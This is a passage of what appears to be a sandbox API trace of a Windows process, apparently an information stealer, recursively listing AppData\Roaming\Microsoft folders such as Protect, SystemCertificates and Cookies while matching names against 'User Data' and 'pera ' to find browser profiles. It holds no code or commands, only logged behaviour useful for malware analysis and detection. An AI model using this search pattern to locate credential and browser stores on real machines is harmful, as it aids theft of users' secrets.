lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\protect\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.572] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.572] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.572] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x30b088f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x30b088f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.572] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.572] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.572] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x60624f40, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0264.572] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0264.572] lstrcmpW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="User Data") returned -1 [0264.572] StrStrW (lpFirst="S-1-5-21-3111613574-2524581245-2586426736-500", lpSrch="pera ") returned 0x0 [0264.572] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned 52 [0264.572] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x30b088f0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x510a9850, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x510a9850, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0264.572] lstrcmpW (lpString1="S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2="User Data") returned -1 [0264.572] StrStrW (lpFirst="S-1-5-21-4219442223-4223814209-3835049652-1000", lpSrch="pera ") returned 0x0 [0264.572] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Protect") returned 52 [0264.572] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0264.572] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7bba3b70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7bba3b70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x606bd4c0, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0264.572] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.572] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0264.572] lstrcmpW (lpString1="SystemCertificates", lpString2="User Data") returned -1 [0264.572] StrStrW (lpFirst="SystemCertificates", lpSrch="pera ") returned 0x0 [0264.573] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.573] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.573] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.573] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.573] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.574] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.574] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.574] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0264.574] lstrcmpW (lpString1="My", lpString2="User Data") returned -1 [0264.574] StrStrW (lpFirst="My", lpSrch="pera ") returned 0x0 [0264.574] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 63 [0264.574] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0264.574] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.574] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0264.574] lstrcmpW (lpString1="Templates", lpString2="User Data") returned -1 [0264.574] StrStrW (lpFirst="Templates", lpSrch="pera ") returned 0x0 [0264.574] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.574] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\templates\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.575] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.575] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.575] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.575] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.575] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.575] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0264.575] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0264.575] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.575] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0264.575] lstrcmpW (lpString1="UProof", lpString2="User Data") returned -1 [0264.575] StrStrW (lpFirst="UProof", lpSrch="pera ") returned 0x0 [0264.575] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.575] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.576] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.576] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.576] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.577] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.577] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.577] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0264.577] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0264.577] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.577] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0264.577] lstrcmpW (lpString1="Windows", lpString2="User Data") returned 1 [0264.577] StrStrW (lpFirst="Windows", lpSrch="pera ") returned 0x0 [0264.577] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.577] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.577] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.577] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.577] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.578] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.578] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x76abed20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x76abed20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0264.578] lstrcmpW (lpString1="Cookies", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="Cookies", lpSrch="pera ") returned 0x0 [0264.578] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.578] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7958db70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0264.578] lstrcmpW (lpString1="IECompatCache", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="IECompatCache", lpSrch="pera ") returned 0x0 [0264.578] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.578] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETldCache", cAlternateFileName="IETLDC~1")) returned 1 [0264.578] lstrcmpW (lpString1="IETldCache", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="IETldCache", lpSrch="pera ") returned 0x0 [0264.578] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.578] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e87ab80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e87ab80, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0264.578] lstrcmpW (lpString1="Libraries", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="Libraries", lpSrch="pera ") returned 0x0 [0264.578] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.578] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79567a10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0264.578] lstrcmpW (lpString1="Network Shortcuts", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="Network Shortcuts", lpSrch="pera ") returned 0x0 [0264.578] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.578] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79567a10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0264.578] lstrcmpW (lpString1="Printer Shortcuts", lpString2="User Data") returned -1 [0264.578] StrStrW (lpFirst="Printer Shortcuts", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.579] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x75cc2be0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x75cc2be0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0264.579] lstrcmpW (lpString1="PrivacIE", lpString2="User Data") returned -1 [0264.579] StrStrW (lpFirst="PrivacIE", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.579] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795418b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2f652f00, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x2f652f00, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0264.579] lstrcmpW (lpString1="Recent", lpString2="User Data") returned -1 [0264.579] StrStrW (lpFirst="Recent", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.579] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x795418b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0264.579] lstrcmpW (lpString1="SendTo", lpString2="User Data") returned -1 [0264.579] StrStrW (lpFirst="SendTo", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.579] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7951b750, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e803170, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0264.579] lstrcmpW (lpString1="Start Menu", lpString2="User Data") returned -1 [0264.579] StrStrW (lpFirst="Start Menu", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.579] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x794f55f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, 